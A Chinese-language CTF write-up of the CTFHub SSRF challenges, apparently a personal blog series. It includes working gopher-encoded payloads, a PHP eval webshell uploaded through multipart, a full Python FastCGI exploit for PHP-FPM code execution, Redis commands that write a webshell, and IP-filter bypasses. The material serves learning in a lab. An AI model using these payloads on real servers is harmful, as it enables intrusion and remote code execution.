根据题目意思,让我们如访问内网的flag.php,因此抓包进行访问,即可得到flag:
根据题目的意思我们需要使用URL的伪协议去读取文件,那么我们首先要了解URL的伪协议。
URL伪协议有如下这些:
这里我们使用file伪协议从文件系统中读取文件,我们直接抓包读取:
这里其实有点考常识了,因为网站的目录一般都在/var/www/html/,因此我们直接使用file伪协议访问flag.php就可以了。
题目提示端口在8000-9000,因此直接扫就可以了。这里我们需要使用dict伪协议来扫描,因为dict协议可以用来探测开放的端口。
发现端口是8056.直接进行访问,就可以得到flag了。
写在前面:这是我后来才知道了,302.php其实可以不用,你直接/?url=gopher://也是完全可以的,不过当时的自己因为细节上出了问题,为了保证不出错才用了302.php,后来写博客也是照着当时的思路来写了。后来经过提醒确实302.php可以不用,也就是说直接利用index.php的url跳转就可以了。
后来的后来,我发现302.php被删了。。。自己再回头看看当时写的,感觉好菜啊。。。下面写的还是有些问题的,下面的可以当成是思路,最终直接这样就可以了:
GET /?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D67b35d0520e528b57f27a44fd80b939e HTTP/1.1
和下面那个一样,但是不利用302.php,而且不要什么?url2次,直接gopher打,然后url编码2次就可以了。
URL编码的次数主要取决于你请求的次数,比如你直接POST请求算一次,然后我是直接?url打的,因此再加一次是2次。
我下面的之所以是三次,是因为我有2个?url,相当于先到index.php,然后url跳转到第一个url参数那里,然后再转到第2个url那里,因此加起来就是3次,要url编码三次了。
这题POST也是卡了我好久,也踩了很多坑,最后是看了评论区里面的那位大师傅的WP才知道自己的问题在哪。
根据题目:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.我准备了一个302.php,可能对你有用哦。
我们首先知道已经有了302.php,而且应该是需要我们利用SSRF发一个POST的请求。SSRF发送POST请求,自然而然就想到了gopher。同时题目中也提到了curl,而curl正好是支持gopher协议的,因此这题大概率就是利用gopher发送一个POST请求,然后获得flag。
我们进入之后可以试试flag.php,果然存在flag.php,不过需要从127.0.0.1进行访问。我们访问一下:
我们看到了key参数,大概率就是POST请求访问flag.php,同时带上key参数,但是得利用gopher。
我们再访问一下302.php,得到了源码:
说明302.php这里存在了一个302跳转。
我们首先构造一个POST请求。下面的是最基本的POST请求,也就是说如果构造POST,至少下面这些的内容一定要有。
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=8a6d748f4f820709cd9e444991d49dd0
注意Content-Length那里,必须和你的POST请求长度一样,不然结果就出不了。
接下来我们要把这个POST请求进行一次URL编码:
POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D8a6d748f4f820709cd9e444991d49dd0
这里又是一个问题,首先就是对换行的处理。如果你的POST请求编码出来的换行是%0A,就需要把%0A改成%0D%0A:
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D8a6d748f4f820709cd9e444991d49dd0
然后还要再进行2次URL编码,也就是说一共要进行三次URL编码,我当时就是因为只进行了2次,就没弄到flag。
最终:
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D8a6d748f4f820709cd9e444991d49dd0
然后用burp进行请求就可以了:
成功获得flag。再次感谢评论区里的那位大师傅!
这题也直接用gopher打就可以了,不要302.php,也不要3次url编码,2次就可以了。
POST和上传文件中间有了很多事情,就很久没有更了。
这题和POST其实差不多,其实就是上一题POST传递key,这题的POST传递的是文件。
还是url?127.0.0.1/flag.php,url?127.0.0.1/302.php,把这两个页面大致看一下。
发现flag.php是个文件上传。我们用file协议读一下flag.php的代码看看:
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
发现必须上传文件而且文件的大小大于0。一开始我想的是直接POST请求,在post参数里面file随便赋值,但是在size那里想了很久试了很多方法,上网查才发现file的size其实是无法伪造的,也就是我们必须真正上传个有一定大小内容的文件。因此我们对这个页面进行f12前端改写:
手动添加提交框,这样就可以真正的把文件上传了:
然后随便上传一个非空的文件,然后抓包:
我们把host那里改成127.0.0.1:80
,然后复制,然后就是老操作了,url编码一次,把%0A换成%0D%0A,然后再url编码两次:
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%252520328%25250D%25250ACache-Control%25253A%252520max-age%25253D0%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250AOrigin%25253A%252520http%25253A%25252F%25252Fchallenge-01037cbf4c653e93.sandbox.ctfhub.com%25253A10080%25250D%25250AContent-Type%25253A%252520multipart%25252Fform-data%25253B%252520boundary%25253D----WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AUser-Agent%25253A%252520Mozilla%25252F5.0%252520(Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64)%252520AppleWebKit%25252F537.36%252520(KHTML%25252C%252520like%252520Gecko)%252520Chrome%25252F85.0.4183.102%252520Safari%25252F537.36%25250D%25250AAccept%25253A%252520text%25252Fhtml%25252Capplication%25252Fxhtml%25252Bxml%25252Capplication%25252Fxml%25253Bq%25253D0.9%25252Cimage%25252Favif%25252Cimage%25252Fwebp%25252Cimage%25252Fapng%25252C*%25252F*%25253Bq%25253D0.8%25252Capplication%25252Fsigned-exchange%25253Bv%25253Db3%25253Bq%25253D0.9%25250D%25250AReferer%25253A%252520http%25253A%25252F%25252Fchallenge-01037cbf4c653e93.sandbox.ctfhub.com%25253A10080%25252F%25253Furl%25253D127.0.0.1%25252Fflag.php%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.9%25252Cen-US%25253Bq%25253D0.8%25252Cen%25253Bq%25253D0.7%25250D%25250AConnection%25253A%252520close%25250D%25250A%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522XiaoMa.php%252522%25250D%25250AContent-Type%25253A%252520application%25252Foctet-stream%25250D%25250A%25250D%25250A%25253C%25253Fphp%25250D%25250A%252540eval(%252524_POST%25255B'feng'%25255D)%25253B%25253F%25253E%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250D%25250A%25250D%25250A%2525E6%25258F%252590%2525E4%2525BA%2525A4%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs--%25250D%25250A
题目给的附件的那篇文章已经讲的很清楚了,因此相当于直接去打就可以了。具体过程如下:
首先我们进行监听9000端口,因为PHP-FPM默认监听9000端口:
这里我是在VPS上进行操作的,在自己的linux系统或者虚拟机里也可以。不过因为我用的windows,而且开了docker,与虚拟机不兼容,懒得调设置然后重启电脑去开虚拟机就直接在vps里弄了。
再开一个VPS操作的窗口,里面利用exploit进行攻击。
不过官方给的文章最后有exploit的链接,不过好像打不开了。我用的是从其他环境得到的exploit,不知道和那个exploit一不一样,不过反正都可以直接用。exploit如下:
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={
}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
我们首先执行以下ls /命令:
这时候再去看看1.txt:
这些就是利用exploit获得的攻击流量了。但是这样还不能直接利用,我们要把它进行url编码,写个python脚本:
a='''
0101 4249 0008 0000 0001 0000 0000 0000
0104 4249 01e7 0000 0e02 434f 4e54 454e
545f 4c45 4e47 5448 3337 0c10 434f 4e54
454e 545f 5459 5045 6170 706c 6963 6174
696f 6e2f 7465 7874 0b04 5245 4d4f 5445
5f50 4f52 5439 3938 350b 0953 4552 5645
525f 4e41 4d45 6c6f 6361 6c68 6f73 7411
0b47 4154 4557 4159 5f49 4e54 4552 4641
4345 4661 7374 4347 492f 312e 300f 0e53
4552 5645 525f 534f 4654 5741 5245 7068
702f 6663 6769 636c 6965 6e74 0b09 5245
4d4f 5445 5f41 4444 5231 3237 2e30 2e30
2e31 0f1b 5343 5249 5054 5f46 494c 454e
414d 452f 7573 722f 6c6f 6361 6c2f 6c69
622f 7068 702f 5045 4152 2e70 6870 0b1b
5343 5249 5054 5f4e 414d 452f 7573 722f
6c6f 6361 6c2f 6c69 622f 7068 702f 5045
4152 2e70 6870 091f 5048 505f 5641 4c55
4561 7574 6f5f 7072 6570 656e 645f 6669
6c65 203d 2070 6870 3a2f 2f69 6e70 7574
0e04 5245 5155 4553 545f 4d45 5448 4f44
504f 5354 0b02 5345 5256 4552 5f50 4f52
5438 300f 0853 4552 5645 525f 5052 4f54
4f43 4f4c 4854 5450 2f31 2e31 0c00 5155
4552 595f 5354 5249 4e47 0f16 5048 505f
4144 4d49 4e5f 5641 4c55 4561 6c6c 6f77
5f75 726c 5f69 6e63 6c75 6465 203d 204f
6e0d 0144 4f43 554d 454e 545f 524f 4f54
2f0b 0953 4552 5645 525f 4144 4452 3132
372e 302e 302e 310b 1b52 4551 5545 5354
5f55 5249 2f75 7372 2f6c 6f63 616c 2f6c
6962 2f70 6870 2f50 4541 522e 7068 7001
0442 4900 0000 0001 0542 4900 2500 003c
3f70 6870 2076 6172 5f64 756d 7028 7368
656c 6c5f 6578 6563 2827 6c73 202f 2729
293b 3f3e 0105 4249 0000 0000
'''
a=a.replace('\n','')
a=a.replace(' ','')
b=''
length=len(a)
for i in range(0,length,2):
b+='%'
b+=a[i]
b+=a[i+1]
print(b)
上面的那个数据和上图1.txt里不一样,因为我写博客的时候数据弄乱了,后来又重新请求了一下。
成功得到了url编码的攻击流量:
%01%01%42%49%00%08%00%00%00%01%00%00%00%00%00%00%01%04%42%49%01%e7%00%00%0e%02%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%33%37%0c%10%43%4f%4e%54%45%4e%54%5f%54%59%50%45%61%70%70%6c%69%63%61%74%69%6f%6e%2f%74%65%78%74%0b%04%52%45%4d%4f%54%45%5f%50%4f%52%54%39%39%38%35%0b%09%53%45%52%56%45%52%5f%4e%41%4d%45%6c%6f%63%61%6c%68%6f%73%74%11%0b%47%41%54%45%57%41%59%5f%49%4e%54%45%52%46%41%43%45%46%61%73%74%43%47%49%2f%31%2e%30%0f%0e%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%70%68%70%2f%66%63%67%69%63%6c%69%65%6e%74%0b%09%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%0f%1b%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%75%73%72%2f%6c%6f%63%61%6c%2f%6c%69%62%2f%70%68%70%2f%50%45%41%52%2e%70%68%70%0b%1b%53%43%52%49%50%54%5f%4e%41%4d%45%2f%75%73%72%2f%6c%6f%63%61%6c%2f%6c%69%62%2f%70%68%70%2f%50%45%41%52%2e%70%68%70%09%1f%50%48%50%5f%56%41%4c%55%45%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%20%3d%20%70%68%70%3a%2f%2f%69%6e%70%75%74%0e%04%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%0b%02%53%45%52%56%45%52%5f%50%4f%52%54%38%30%0f%08%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%0c%00%51%55%45%52%59%5f%53%54%52%49%4e%47%0f%16%50%48%50%5f%41%44%4d%49%4e%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%20%3d%20%4f%6e%0d%01%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%0b%09%53%45%52%56%45%52%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%0b%1b%52%45%51%55%45%53%54%5f%55%52%49%2f%75%73%72%2f%6c%6f%63%61%6c%2f%6c%69%62%2f%70%68%70%2f%50%45%41%52%2e%70%68%70%01%04%42%49%00%00%00%00%01%05%42%49%00%25%00%00%3c%3f%70%68%70%20%76%61%72%5f%64%75%6d%70%28%73%68%65%6c%6c%5f%65%78%65%63%28%27%6c%73%20%2f%27%29%29%3b%3f%3e%01%05%42%49%00%00%00%00
不过就像之前的题目一样,一次编码还不够,还要再来一次编码,最终构造成这样:
http://challenge-1abe9da1c898e163.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:9000/_%2501%2501%2542%2549%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2542%2549%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2537%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%2554%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%2542%2549%2500%2500%2500%2500%2501%2505%2542%2549%2500%2525%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2568%2565%256c%256c%255f%2565%2578%2565%2563%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%2542%2549%2500%2500%2500%2500
需要注意的是,因为PHP-FPM默认监听9000端口,所以我们攻击的也应该是9000端口。
然后成功回显了ls /的执行结果:
接下来就是同样的步骤,执行cat /flag_ab9cb5afbe32856c806fb8d0a653b966
然后同样操作,最后得到flag。
这题我还尝试用蚁剑连,虽然连接成功,但是打不开:
也不知道是为什么,如果有师傅知道的话可以评论区告诉我嘛。。
首先我们需要了解关于Redis的相关知识:
Redis配置详解
浅析Redis中SSRF的利用
Redis在SSRF中的应用
这三个文章都在一定程度上对我有所帮助。
看完这三篇文章后,自己对于攻击redis多少有些感觉了。这题不是用shell反弹,而是写文件,然后进行命令执行。因此redis命令如下:
flushall
set 1 ''
config set dir /var/www/html
config set dbfilename feng.php
save
接下来就是转换成url传递,上面的三篇文章里已经有很多脚本或者工具可以用了,这里就不涉及了。
但是需要注意的是,我用脚本跑出来的或者工具转换出来的url,还需要再经过一次url加密,这样才行。最终我的是这样:
/?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522feng%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Afeng.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
执行过之后,就写入了feng.php。这时候,如果你通过?url=127.0.0.1/feng.php进行命令执行,会有玄学问题。我不知道是不是我url的问题,反正我这里出现了玄学问题。
因此直接访问feng.php,然后就是命令执行:
http://challenge-88a3757f316234ba.sandbox.ctfhub.com:10080/feng.php?feng=system("ls /");
http://challenge-88a3757f316234ba.sandbox.ctfhub.com:10080/feng.php?feng=system("cat /flag_f1c55fbb33273cfa93dd5f02e9607533");
成功得到flag。
其实把一句话木马写进文件然后用蚁剑连也可以。
看到这个题目,大概已经猜测到这个题目考察是SSRF中的URL解析问题了。
关于这个知识点,具体可以参考《从0到1的CTFer成长之路》第83-85面的内容,这一块针对了一个题目进行了讲解,可以说看完就懂了。
如果没有书的话,可以自行上网搜索关于SSRF中URL解析的相关知识。
当然,也可以看看下面这个链接,也就是知识盒子里的CTF的内容,找到SSRF题目之地址绕过,这个讲解的题目和《从0到1》讲解的是同一个题目,可以说这个题目是很经典的了。
知识盒子
简单来说,就是http://[email protected]/与http://192.168.0.1请求的都是192.168.0.1的内容。
因此这个题目要求url must startwith “http://notfound.ctfhub.com”
我们直接构造?url=http://[email protected]/flag.php
成功得到flag。
进入环境,尝试访问?url=127.0.0.1/flag.php
,发现Ban ‘/127|172|@/’
因此尝试将ip地址转换为进制的方式进行绕过,127.0.0.1转换为16进制是0x7F000001,这样就可以成功得到flag:
不知道这题啥意思,直接?url=127.0.0.1/flag.php
直接就出flag了,很迷。。
还是一样,直接flag出,听说出题人已经在修了。
除去最后两道出了问题的题目,CTFHub的SSRF部分到今天也算是完结了。一开始动笔是9月14号,在今天也就是10月13号晚上终于写完了WP。当时的自己也是SSRF从0开始,感觉SSRF很难,更要命的是上网上查不到WP。因为实在苦于网上没有WP,因此决定自己写。
这也是自己第一次写这么长的一个系列,写到现在已经要突破25000字了。中间受了很多挫,也在不断学习,得到了很多大师傅们的帮助,终于把SSRF做完了。
其实自己心里清楚,这还远远不够。技能树的题目和真正的比赛题相比,难度上还是差了很多。把技能树的SSRF做完,才只是迈出了小小的一步。自己还是太菜,还是不断努力学习啊。